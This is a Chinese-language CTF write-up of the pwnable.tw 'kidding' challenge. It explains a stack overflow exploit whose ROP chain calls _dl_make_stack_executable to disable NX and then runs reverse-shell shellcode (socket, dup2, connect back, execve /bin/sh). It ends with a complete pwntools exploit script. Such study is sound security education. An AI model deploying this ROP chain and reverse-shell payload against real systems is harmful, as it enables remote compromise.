pwnable.tw kidding

pwnable.tw kidding,一道反弹shell的题目。

题目描述

题目运行情况:

1
2
3
./kidding
11111111111111111111111111111111111111
Segmentation fault (core dumped)

题目开保护情况:

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

题目漏洞

在IDA里可以看到,有明显的缓冲区溢出漏洞,另外还关闭了标准输入流(0)、标准输出流(1)和错误输出流(2)。

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+0h] [ebp-8h]

read(0, &v4, 0x64);
close(0);
close(1);
close(2);
return 0;
}

利用过程

socat

一般我们做题开始是本地调试,如果需要将其作为一个服务绑定到一个端口上,就像我们nc远程连接服务器一样,参考这篇文章,使用socat来完成。命令如下:

1
socat TCP-LISTEN:10001,fork EXEC:./kidding

这样,kidding这个程序就会被重定向到端口10001,我们可以使用nc 127.0.0.1 10001来访问我们的目标程序了。先记录一下这个工具的用法。
第一次遇到这种题目,依然是不会做,这次参考的writeup是别人发给我学习的,我也不知道链接,默默感谢写exp的这位大佬,下面是我学习exp的过程。这个题目使用的是反弹shell。关于反弹shell,这篇文章讲的很清楚,对我们做题来讲,由于这道题在接受0x64个字节的输入后,就关闭了标准输入、标准输出和错误输出流,就算我们get shell也没办法继续”cat flag”,在get shell之前我们监听某个端口,想办法让服务器端主动和我们客户端在这个端口建立一个连接,并将输入输出流转到这个端口上。

关闭NX保护

首先,题目开了NX保护,栈是不可执行状态:
1
参考exp是利用了_dl_make_stack_executable这个函数来关闭NX保护,这个函数的具体实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//函数原型
_dl_make_stack_executable(void* address)

.text:0809A080 _dl_make_stack_executable proc near ; CODE XREF: _dl_map_object_from_fd_constprop_7+D0A↑p
.text:0809A080 ; DATA XREF: .data:_dl_make_stack_executable_hook↓o
.text:0809A080 ; __unwind {
.text:0809A080 push esi
.text:0809A081 push ebx
.text:0809A082 sub esp, 4
.text:0809A085 mov esi, _dl_pagesize
.text:0809A08B mov ecx, [eax]
.text:0809A08D mov edx, esi
.text:0809A08F neg edx
.text:0809A091 and edx, ecx
.text:0809A093 cmp ecx, ds:__libc_stack_end
.text:0809A099 jnz short loc_809A0D0
.text:0809A09B sub esp, 4
.text:0809A09E push ds:__stack_prot
.text:0809A0A4 mov ebx, eax
.text:0809A0A6 push esi
.text:0809A0A7 push edx
.text:0809A0A8 call mprotect
.text:0809A0AD add esp, 10h
.text:0809A0B0 test eax, eax
.text:0809A0B2 jnz short loc_809A0E0
.text:0809A0B4 mov dword ptr [ebx], 0
.text:0809A0BA or _dl_stack_flags, 1

在该函数中首先会比较传入的参数ecx与变量_libc_stack_end,如果两者相等,则调用mprotect。mprotect会将位于[addr,addr+len-1]的内存区的访问保护属性修改为prot指定的值。

1
2
#include <sys/mman.h>
int mprotect(void *addr, size_t len, int prot);

在这里,mprotect这三个参数分别为__libc_stack_end,_dl_pagesize和__stack_prot。
对于__libc_stack_end这个全局变量,涉及到入口函数和程序初始化的内容,可参考《程序员的自我修养》第11章对这个过程的讲解,简单来说,在main函数之前,程序会运行某些函数,也就是入口函数,来对运行库和程序运行环境进行初始化,包括堆栈、I/O、线程、全局变量构造等。人口函数在完成初始化之后,再调用main函数,正式开始执行程序主体部分。glibc的入口函数是_start,从下面的汇编可以看到,函数先是有7个压栈指令来为___libc_start_main传递参数,一共7个参数,然后调用__libc_start_main。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.text:08048736                 public _start
.text:08048736 _start proc near ; DATA XREF: LOAD:08048018↑o
.text:08048736 xor ebp, ebp
.text:08048738 pop esi
.text:08048739 mov ecx, esp
.text:0804873B and esp, 0FFFFFFF0h
.text:0804873E push eax
.text:0804873F push esp ; stack_end
.text:08048740 push edx ; rtld_fini
.text:08048741 push offset __libc_csu_fini ; fini
.text:08048746 push offset __libc_csu_init ; init
.text:0804874B push ecx ; ubp_av
.text:0804874C push esi ; argc
.text:0804874D push offset main ; main
.text:08048752 call __libc_start_main
.text:08048752 _start endp

对于__libc_start_main函数,函数原型如下:

1
2
3
4
5
6
7
8
9
10
11
12
//glibc-2.24 ./csu/libc-start.c
STATIC int LIBC_START_MAIN (int (*main) (int, char **, char **
MAIN_AUXVEC_DECL),
int argc,
char **argv,
#ifdef LIBC_START_MAIN_AUXVEC_ARG
ElfW(auxv_t) *auxvec,
#endif
__typeof (main) init,
void (*fini) (void),
void (*rtld_fini) (void),
void *stack_end)

在该函数中,有对全局变量__libc_stack_end的赋值,该变量存储了栈底的地址,即最高的栈地址。

1
2
3
  /* Store the lowest stack address.  This is done in ld.so if this is
the code for the DSO. */
__libc_stack_end = stack_end;

在程序进行初始化时,栈的布局如下图(图来源于《程序员的自我修养》)所示:
2
在执行_start之前,装载器会把用户的参数和环境变量压入栈中,栈顶元素为argc,然后时argv和环境变量的数组,执行完_start函数中的pop esi后,栈顶变为argv。在__libc_start_main中将environ指针指向argv数组之后的环境变量数组,ubp_av指向argv数组,并将栈底地址保存到\libc_stack_end中,在上图中,env n就是__libc_stack_end。
对于第二个全局变量_dl_pagesize,该变量存储了当前系统中一页的大小。在这里值为0x1000,也就是4096。

1
2
pwndbg> x /x 0x080eaa08
0x80eaa08 <_dl_pagesize>: 0x00001000

第三个全局变量__stack_prot是当前要赋予栈的权限,一般值为0x01000000。如果我们要将栈变为可读可写可执行时,需要将该值赋值为0x7。

1
2
pwndbg> x /x 0x80e9fec
0x80e9fec <__stack_prot>: 0x01000000

因此在利用时需要将__libc_stack_end所在的地址存入eax,这样_dl_make_stack_executable中执行mov ecx,[eax]即可将ecx赋值为__libc_stack_end的值,将__stack_prot的值修改为7,然后调用_dl_make_stack_executable,该函数会调用mprotect来解除NX保护。
我们在IDA里可以看到有以下函数:
3
该函数实现了将__stack_prot修改为7,将eax赋值为mov eax,[ebp+0x18],然后调用_dl_make_stack_executable_hook,可以让我们用来构造rop。我们可以将ebp的值修改为__libc_stack_end的地址-0x18,这样__libc_stack_end的地址恰好被存储到eax中。

1
2
rop = 'a'*0x8
rop += p32(0x08048902-0x18) #__libc_stack_end-0x18

但exp中有一个地方我不太明白为什么将_dl_make_stack_executable_hook中的值由原来的0x0809a080修改为0x0809a081,但我试过不修改它的值让程序在call _dl_make_stack_executable_hook时直接跳转到_dl_make_stack_executable的起始地址0x0809a080去执行,但在后面执行过程中有一个非法地址的错误,然而让函数跳过0x0809a080中的push esi直接去执行0x0809a081的代码,则不会有问题。至今我也不知道问题出在哪个地方。
因此首先构造rop去修改_dl_make_stack_executable_hook的值:

1
2
rop += p32(pecx_ret) + p32(kid.symbols["_dl_make_stack_executable_hook"])
rop += p32(inc_mem) + p32(0x080937f0) #call dl_make_stack_executable_hook

执行后成功接触NX保护,栈变为可读可写可执行状态:
4
然后利用一个jmp esp跳转到后面的shellcode去完成反弹shell。

1
rop += p32(jmp_esp)

反弹shell

首先调用socket()创建一个socket描述符,对应内核socket系统调用入口sys_socketcall,其函数原型如下,其系统调用号为0x66,因此eax=0x66,其中ebx=call,对应具体的接口编号,ecx对应args参数指针,现在需要确定ebx和ecx的值。

1
asmlinkage long sys_socketcall(int call, unsigned long __user *args)

在这道题目中会用到的linux具体实现的源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// /linux-2.6.35/net/socket.c
SYSCALL_DEFINE2(socketcall, int, call, unsigned long __user *, args)
{
unsigned long a[6];
unsigned long a0, a1;
int err;
unsigned int len;

if (call < 1 || call > SYS_RECVMMSG)
return -EINVAL;

len = nargs[call];
if (len > sizeof(a))
return -EINVAL;

/* copy_from_user should be SMP safe. */
if (copy_from_user(a, args, len))
return -EFAULT;

audit_socketcall(nargs[call] / sizeof(unsigned long), a);

a0 = a[0];
a1 = a[1];

switch (call) {
case SYS_SOCKET:
err = sys_socket(a0, a1, a[2]);
break;
case SYS_BIND:
err = sys_bind(a0, (struct sockaddr __user *)a1, a[2]);
break;
case SYS_CONNECT:
err = sys_connect(a0, (struct sockaddr __user *)a1, a[2]);
break;
case SYS_LISTEN:
err = sys_listen(a0, a1);
break;
...

创建socket描述符需要进入case SYS_SOCKET,之后再进入函数sys_socket。对于参数call的选择,linux定义了以下类型的sys_socketcall,因此我们可以确定ebx的值为1,即SYS_SOCKET。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//include/uapi/linux/net.h
#define SYS_SOCKET 1 /* sys_socket(2) */
#define SYS_BIND 2 /* sys_bind(2) */
#define SYS_CONNECT 3 /* sys_connect(2) */
#define SYS_LISTEN 4 /* sys_listen(2) */
#define SYS_ACCEPT 5 /* sys_accept(2) */
#define SYS_GETSOCKNAME 6 /* sys_getsockname(2) */
#define SYS_GETPEERNAME 7 /* sys_getpeername(2) */
#define SYS_SOCKETPAIR 8 /* sys_socketpair(2) */
#define SYS_SEND 9 /* sys_send(2) */
#define SYS_RECV 10 /* sys_recv(2) */
#define SYS_SENDTO 11 /* sys_sendto(2) */
#define SYS_RECVFROM 12 /* sys_recvfrom(2) */
#define SYS_SHUTDOWN 13 /* sys_shutdown(2) */
#define SYS_SETSOCKOPT 14 /* sys_setsockopt(2) */
#define SYS_GETSOCKOPT 15 /* sys_getsockopt(2) */
#define SYS_SENDMSG 16 /* sys_sendmsg(2) */
#define SYS_RECVMSG 17 /* sys_recvmsg(2) */
#define SYS_ACCEPT4 18 /* sys_accept4(2) */
#define SYS_RECVMMSG 19 /* sys_recvmmsg(2) */
#define SYS_SENDMMSG 20 /* sys_sendmmsg(2) */

根据call接口编号找到对应的参数个数,也可以在sys_socketcall具体实现中看到,参数个数是由数组nargs[call]。args是一个数组指针,在copy_from_user(a, args, len)调用,将args数组对应的nargs[call]个参数由用户空间复制到内核空间。同时args中的参数也决定了sys_socket的参数,实际上是调用sys_socket(args[0], args[1], args[2])。sys__socket函数原型如下。很抱歉,具体的参数有哪些可选值我目前没有找到。

1
asmlinkage long sys_socket(int family, int type, int protocol)

在exp中创建socket的实现如下,其中ecx指向esp,指向数组[2,1,0],在sys_socketcall函数中调用了函数sys_socket(2,1,0)。

1
2
3
#sys_socketcall eax=0x66,ebx=0x1,ecx=esp[2,1,0]
sc = "push 0x1;pop ebx;cdq;"
sc += "mov al,0x66;push edx;push ebx;push 0x2;mov ecx,esp;int 0x80;"

接下来调用sys_dup2复制文件描述符,因为在题目的最后已经关闭了标准输入、标准输出和错误输出,调用sys_dup2进行标准输入的重定向,将标准输入重定向到socket所在端口的文件描述符0。sys_dup2对应系统调用号为0x3f,ebx指向oldfd,ecx指向newfd。这里将ebx赋值为0,ecx为1。

1
2
##dup2(oldfd,newfd) eax=0x3f,ebx=oldfd,ecx=newfd dup2(0,1)
sc += "pop esi;pop ecx;xchg ebx,eax;mov al,0x3f;int 0x80;"

再建立一个socket连接,同样先通过系统调用sys_socketcall,再进入case SYS_CONNECT调用sys_connect(args[0], args[1], args[2]),对应call的数值为3,sys_connect的原型如下:

1
asmlinkage long sys_connect(int fd, struct sockaddr __user *uservaddr, int addrlen)

根据上文文件描述符的赋值,这里的fd应该为0,ip即题目所在服务器的ip,端口可以自己设置一个,addr的长度这里为0x10,这里同样指的是从uservaddr复制到内核空间的参数长度。

1
2
3
##sys_socketcall eax=0x66,ebx=3,sys_connect(0,ip_port,0x10)
sc += "mov al,0x66;push %d;push ax;push si;mov ecx,esp;" % ip
sc += "push 0x10;push ecx;push ebx;mov ecx,esp;mov bl,0x3;int 0x80;"

最后执行execve(“/bin/sh”)获得shell:

1
sc += "mov al,0xb;pop ecx;push 0x68732f;push 0x6e69622f;mov ebx,esp;int 0x80"

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
import sys

context.log_level = "debug"
kid = ELF("./kidding")

if sys.argv[1] == "process":
p = process("./kidding")
else:
p = remote("chall.pwnable.tw",10303)


#gdb.attach(p)

pecx_ret = 0x080583c9
inc_mem = 0x080842c8 #inc dword ptr [ecx]; ret
jmp_esp = 0x080bd13b

rop = 'a'*0x8
rop += p32(0x08048902-0x18) #__libc_stack_end-0x18
rop += p32(pecx_ret) + p32(kid.symbols["_dl_make_stack_executable_hook"])
rop += p32(inc_mem) + p32(0x080937f0) #call dl_make_stack_executable_hook
rop += p32(jmp_esp)

ip = u32(binary_ip("127.0.0.1"))
port = 26112

##sys_socketcall eax=0x66,ebx=0x1,ecx=esp[2,1,0]
sc = "push 0x1;pop ebx;cdq;"
sc += "mov al,0x66;push edx;push ebx;push 0x2;mov ecx,esp;int 0x80;"

##dup2(oldfd,newfd) eax=0x3f,ebx=oldfd,ecx=newfd dup2(0,1)
sc += "pop esi;pop ecx;xchg ebx,eax;mov al,0x3f;int 0x80;"

##socketcall() eax=0x66,ebx=3,sys_connect(0,ip_port,0x10)
sc += "mov al,0x66;push %d;push ax;push si;mov ecx,esp;" % ip
sc += "push 0x10;push ecx;push ebx;mov ecx,esp;mov bl,0x3;int 0x80;"

##execve("/bin/sh") eax=0xb,ebx="/bin/sh"
sc += "mov al,0xb;pop ecx;push 0x68732f;push 0x6e69622f;mov ebx,esp;int 0x80"

shellcode = asm(sc,arch="i386")

listener = listen(port)
p.send(rop+shellcode)

listener.interactive()

参考

http://showlinkroom.me/2017/11/20/Root-me-App-System01/
https://another1024.github.io/2018/12/11/%E5%85%B3%E9%97%ADnx%E4%B8%8E%E5%8F%8D%E5%BC%B9shell/
http://www.voidcn.com/article/p-gjgzlwmm-nr.html
程序员的自我修养-链接、装载与库